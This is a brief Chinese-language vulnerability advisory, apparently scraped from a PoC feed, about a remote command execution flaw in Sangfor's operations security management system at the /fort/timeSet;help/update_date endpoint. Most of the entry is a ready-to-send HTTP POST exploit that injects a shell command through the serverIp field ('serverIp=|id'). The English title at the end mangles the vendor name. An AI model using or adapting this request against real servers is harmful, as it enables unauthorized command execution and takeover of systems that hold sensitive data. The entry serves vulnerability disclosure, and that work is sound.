深信服运维安全管理系统 /fort/timeSet;help/update_date 代码执行漏洞

2026-03-27 深信服运维安全管理系统 PoC Public

Description

该漏洞是运维安全管理系统 /fort/timeSet;help/update_date 接口存在远程命令执行漏洞，攻击者可通过构造恶意请求，在目标服务器上执行任意命令，导致服务器被控制和敏感数据泄露，危害极大。

PoC

POST /fort/timeSet;help/update_date HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

serverIp=|id

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Trusted Service Operation Security Management System /fort/timeSet;help/update_date Code Execution Vulnerability

References

Related Vulnerabilities